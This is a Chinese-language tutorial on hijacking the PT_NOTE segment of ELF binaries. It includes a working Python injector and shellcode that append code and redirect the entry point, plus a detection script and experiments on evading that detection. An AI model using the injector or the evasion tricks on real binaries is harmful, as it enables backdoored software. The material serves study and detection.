ELF 文件 PT_NOTE 劫持注入技术详解
一、背景原理:ELF 的两套索引系统
ELF 文件内部包含两套相互独立的描述自身结构的“索引”:
1.1 Section Header Table(节头表)
- 作用对象:链接器、调试工具(
readelf -S、objdump、gdb、strip) - 内容:列出
.text、.data、.rodata等 section 的名称、位置、大小 - 不被内核使用
1.2 Program Header Table(程序头表)
- 作用对象:内核加载器(
execve()系统调用) - 内容:描述 segment 的文件偏移、虚拟地址、权限(RWX)、对齐要求
- 内核完全不读取 Section Header Table
核心漏洞点:分析工具查看 Section Header,加载器查看 Program Header,两者互不干扰。修改 Program Header 而不动 Section Header,分析工具看到的是“正常”的,加载器执行的却是被篡改的内容。
二、攻击手法:PT_NOTE → PT_LOAD 转换
2.1 PT_NOTE 段特性
Program Header 中每个 segment 的 p_type 字段决定加载器如何处理:
| p_type 值 | 含义 | 加载器处理方式 |
|---|---|---|
| 1 (PT_LOAD) | 需映射到内存的段 | mmap 到指定虚拟地址,设置 RWX 权限 |
| 2 (PT_DYNAMIC) | 动态链接信息 | 交给 ld-linux 解析 |
| 4 (PT_NOTE) | 辅助元信息 | 读取但不强制要求 |
| 6 (PT_PHDR) | Program Header 自身 | 内部定位用 |
PT_NOTE 存储编译器版本、ABI 标识、Build ID 等元信息,对程序运行无影响。内核不会因缺少 NOTE 而拒绝加载。
2.2 攻击步骤
将 PT_NOTE 的 p_type 从 4 改为 1(PT_LOAD),内核会将其当作新代码段 mmap。具体操作:
- 让伪造的 LOAD 段指向文件末尾追加的 shellcode
- 分配不与现有段冲突的虚拟地址
- 权限设为 R+X(可读可执行)
- 修改 ELF header 中的
e_entry指向 shellcode
总修改量:56 字节(一个 Program Header 条目)+ 8 字节(e_entry)= 64 字节
三、实操:完整注入流程
3.1 准备目标程序
gcc -o hello -no-pie hello.c
-no-pie 关闭地址随机化,便于观察固定地址。
3.2 分析目标结构
查看 Program Header:
readelf -l hello
典型输出中包含多个 PT_NOTE 段:
.note.gnu.property(偏移 0x400350,大小 0x20).note.gnu.build-id(偏移 0x400370,大小 0x24).note.ABI-tag(偏移 0x4020e4,大小 0x20)
选择第一个 PT_NOTE 进行劫持。其在 Program Header Table 中的文件偏移计算:
偏移 = 64(ELF header 大小)+ 7(索引)× 56(每个 Phdr 大小)= 456 = 0x1c8
3.3 编写 Shellcode
Shellcode 功能:
- 保存寄存器状态
- 执行恶意操作(示例:打印 "INFECTED")
- 恢复寄存器
- 跳转回原始入口点(OEP)
shellcode.asm:
; 保存寄存器
push rax
push rcx
push rdx
push rsi
push rdi
push r11
; syscall write(1, msg, 9)
mov eax, 1 ; syscall number
mov edi, 1 ; fd = stdout
lea rsi, [rip+0x1a] ; RIP-relative addressing to msg
mov edx, 9 ; length
syscall
; 恢复寄存器
pop r11
pop rdi
pop rsi
pop rdx
pop rcx
pop rax
; 跳转到原始入口点
mov rax, 0x4141414141414141 ; OEP placeholder
jmp rax
; 字符串数据
msg: db "INFECTED", 0x0a
编译为原始机器码:
nasm -f bin -o shellcode.bin shellcode.asm
3.4 注入器实现
Python 注入脚本(仅依赖 struct 模块):
import struct
import sys
def inject(target_path, shellcode_path):
# 1. 读取 shellcode,替换 OEP 占位符
with open(shellcode_path, 'rb') as f:
sc = bytearray(f.read())
# 2. 读取目标 ELF
with open(target_path, 'rb') as f:
elf_data = bytearray(f.read())
# 3. 获取原始入口点
e_entry = struct.unpack_from('<Q', elf_data, 24)[0]
# 4. 替换 shellcode 中的 OEP 占位符
oep_offset = 0x26 # shellcode 中 mov rax, imm64 的位置
sc[oep_offset:oep_offset+8] = struct.pack('<Q', e_entry)
# 5. 查找第一个 PT_NOTE
e_phoff = struct.unpack_from('<Q', elf_data, 32)[0] # Program Header offset
e_phentsize = struct.unpack_from('<H', elf_data, 54)[0] # Phdr entry size
e_phnum = struct.unpack_from('<H', elf_data, 56)[0] # Number of Phdr entries
for i in range(e_phnum):
phdr_offset = e_phoff + i * e_phentsize
p_type = struct.unpack_from('<I', elf_data, phdr_offset)[0]
if p_type == 4: # PT_NOTE
target_phdr = phdr_offset
break
else:
print("No PT_NOTE found")
return False
# 6. 构造新的 Program Header
sc_size = len(sc)
sc_file_offset = (len(elf_data) + 0xfff) & ~0xfff # 页对齐
sc_vaddr = 0xc000000 # 高地址避免冲突
new_phdr = struct.pack(
'<IIQQQQQQ',
1, # p_type = PT_LOAD
5, # p_flags = R+X
sc_file_offset, # p_offset
sc_vaddr, # p_vaddr
sc_vaddr, # p_paddr
sc_size, # p_filesz
sc_size, # p_memsz
0x1000 # p_align
)
# 7. 写入修改
elf_data[target_phdr:target_phdr+56] = new_phdr
struct.pack_into('<Q', elf_data, 24, sc_vaddr) # 修改 e_entry
# 8. 追加 shellcode(页对齐)
padding = sc_file_offset - len(elf_data)
elf_data.extend(b'\x00' * padding)
elf_data.extend(sc)
# 9. 写出注入后的文件
output_path = target_path + '.infected'
with open(output_path, 'wb') as f:
f.write(elf_data)
return True
3.5 执行注入
python3 injector.py hello shellcode.bin
./hello.infected
输出:
INFECTED
hello world
Shellcode 执行后正确跳回原始入口点,程序正常退出(返回码 0)。
四、注入效果验证
4.1 file 和 readelf -S 完全看不出异常
file hello.infected
# ELF 64-bit LSB executable, x86-64, dynamically linked
readelf -S hello.infected
# 三个 .note section 安静躺在原地,类型、地址、大小全未改变
原因:这两条命令只看 ELF Header 和 Section Header,不检查 Program Header 具体内容。
4.2 破绽在 Program Header 中
readelf -l hello.infected
对比原始版本,第 8 个条目从 NOTE 变为 LOAD,三个疑点:
- 虚拟地址 0xc000000——正常代码段在 0x400000 附近,跳了 187 MB
- 大小仅 0x3b(59 字节)——正常 LOAD 段至少几百字节
- 权限 R E(可读可执行)——不像数据段
4.3 入口点变化
readelf -h hello.infected
入口点从 .text 段内的 _start(0x401040)跳到了 0xc000000——注入的 shellcode 地址。
4.4 Program Header 字节级变化
修改前(PT_NOTE)→ 修改后(PT_LOAD)的变化:
| 字段 | 注入前 | 注入后 | 变化 |
|---|---|---|---|
| p_type | 04 (NOTE) | 01 (LOAD) | 段类型变更 |
| p_flags | 04 (R) | 05 (R|X) | 增加执行权限 |
| p_offset | 0x350 | 0x4000 | 指向文件末尾 shellcode |
| p_vaddr | 0x400350 | 0xc000000 | 虚拟地址跳到高位 |
| p_filesz | 0x24 (36B) | 0x3b (59B) | 数据大小变更 |
| p_align | 0x4 | 0x1000 | PT_LOAD 要求页对齐 |
4.5 运行时内存布局验证
通过 /proc/self/maps 验证内核确实映射了 0xc000000:
556677890000-556677895000 r-xp 00000000 08:01 12345 /tmp/hello.infected
5566778a4000-5566778a5000 r--p 00004000 08:01 12345 /tmp/hello.infected
...
0c000000-0c001000 r-xp 00004000 08:01 12345 /tmp/hello.infected
0xc000000 被映射,权限 r-xp,文件偏移 0x4000——与 Program Header 填写一致。
4.6 文件大小变化
原始文件约 16 KB,注入后增加约 667 字节(608 字节对齐填充 + 59 字节 shellcode),仅增大 4%。
五、检测方法:PT_NOTE 劫持识别
5.1 四个检测痕迹
痕迹 1:Section Header 与 Program Header 不一致
正常 ELF 中,有几个 .note.* section,Program Header 就应该有几个 PT_NOTE。若 section 显示 3 个 NOTE 但 Program Header 只剩 2 个,则有人将一个 NOTE 改成了其他类型。
痕迹 2:PT_LOAD 段虚拟地址跳跃过大
正常 LOAD 段地址基本连续在 0x400000 附近。出现 0xc000000 的 LOAD 段,中间跳跃 187 MB,极不正常。
痕迹 3:入口点不在 .text 范围内
e_entry 应落在 .text 段地址范围内。指向一个孤立的小 LOAD 段,表明被注入。
痕迹 4:微型 PT_LOAD 段
正常代码段至少几百字节。几十字节的 LOAD 段几乎可以肯定是 shellcode。
5.2 检测脚本
import struct
import sys
def detect_injection(elf_path):
alerts = []
with open(elf_path, 'rb') as f:
data = f.read()
# 解析 ELF header
e_entry = struct.unpack_from('<Q', data, 24)[0]
e_phoff = struct.unpack_from('<Q', data, 32)[0]
e_phentsize = struct.unpack_from('<H', data, 54)[0]
e_phnum = struct.unpack_from('<H', data, 56)[0]
e_shoff = struct.unpack_from('<Q', data, 40)[0]
e_shnum = struct.unpack_from('<H', data, 60)[0]
# 收集所有 PT_LOAD 段信息
load_segments = []
note_count_phdr = 0
for i in range(e_phnum):
phdr = e_phoff + i * e_phentsize
p_type = struct.unpack_from('<I', data, phdr)[0]
if p_type == 1: # PT_LOAD
p_vaddr = struct.unpack_from('<Q', data, phdr + 16)[0]
p_filesz = struct.unpack_from('<Q', data, phdr + 32)[0]
p_flags = struct.unpack_from('<I', data, phdr + 4)[0]
load_segments.append((p_vaddr, p_filesz, p_flags))
elif p_type == 4: # PT_NOTE
note_count_phdr += 1
# 痕迹 4:微型 LOAD 段
for vaddr, filesz, flags in load_segments:
if filesz < 200 and (flags & 1): # 可执行且小于 200 字节
alerts.append(f"微型可执行 LOAD 段: vaddr=0x{vaddr:x}, size={filesz}")
# 痕迹 2:地址跳跃
if len(load_segments) >= 2:
sorted_segs = sorted(load_segments, key=lambda x: x[0])
for i in range(len(sorted_segs) - 1):
gap = sorted_segs[i+1][0] - (sorted_segs[i][0] + sorted_segs[i][1])
if gap > 0x1000000: # 16 MB 阈值
alerts.append(f"地址跳跃过大: 0x{sorted_segs[i][0]:x} → 0x{sorted_segs[i+1][0]:x}, gap=0x{gap:x}")
# 痕迹 3:入口点不在正常范围内
text_start = None
text_end = None
for vaddr, filesz, flags in load_segments:
if flags & 1: # 可执行
if text_start is None or vaddr < text_start:
text_start = vaddr
seg_end = vaddr + filesz
if text_end is None or seg_end > text_end:
text_end = seg_end
if text_start and text_end:
if not (text_start <= e_entry < text_end):
alerts.append(f"入口点 0x{e_entry:x} 不在可执行段范围内 (0x{text_start:x}-0x{text_end:x})")
# 痕迹 1:NOTE 数量不一致
if e_shoff != 0:
note_count_section = 0
for i in range(e_shnum):
shdr = e_shoff + i * 64
sh_name = struct.unpack_from('<I', data, shdr)[0]
sh_type = struct.unpack_from('<I', data, shdr + 4)[0]
if sh_type == 7: # SHT_NOTE
note_count_section += 1
if note_count_section != note_count_phdr:
alerts.append(f"NOTE 数量不一致: section={note_count_section}, program header={note_count_phdr}")
return alerts
5.3 对抗检测的实验
实验 1:将虚拟地址靠近正常范围
将 sc_vaddr 从 0xc000000 改为 0x800000:
- 地址跳跃告警消失(间隔约 4 MB,低于 16 MB 阈值)
- 但其他三条告警仍在
实验 2:静默 shellcode
去掉打印功能,只保留跳转回 OEP:
- 运行时行为与原程序完全一致,无可观测差异
- 但静态分析 Program Header 仍能检测
实验 3:清除 Section Header
将 e_shoff 和 e_shnum 清零:
- NOTE section 计数规则失效
- 但“微型 LOAD 段”、“异常入口点”、“地址跳跃”三条规则仍然有效
最难规避的组合:“微型 LOAD 段”+“入口点在微型 LOAD 段里”。要绕过需将 shellcode padding 到几百字节以上并设法不改入口点(如 hook .init_array),但会引入新痕迹。
六、手法局限性
-
需要 PT_NOTE 段存在:musl-gcc
-static -nostdlib编译的极简二进制可能没有 NOTE 段。但大多数 GCC/Clang 编译的常规程序至少带一个.note.gnu.build-id。 -
入口点修改太显眼:在严格安全审计场景(如 YARA 规则匹配入口点范围)中,改
e_entry容易被发现。更隐蔽的做法是 hook.init_array,但同样会留下痕迹。 -
不绕过代码签名:若系统开启 IMA/EVM 对 ELF 做签名校验,任何字节级修改都会被检测。但多数 Linux 生产环境未启用此功能。
七、总结
两套索引系统各管各的——分析工具看 Section Header,加载器看 Program Header——中间的认知差形成攻击面。PT_NOTE 劫持可在二进制分发阶段植入后门,不改源码、不改编译流程、不触发源码级审计,只在最终产物上动手。
防御关键:不能只看 Section Header,必须交叉验证 Program Header。任何声称检查 ELF 完整性的工具,若未对比两套索引的一致性,都存在盲区。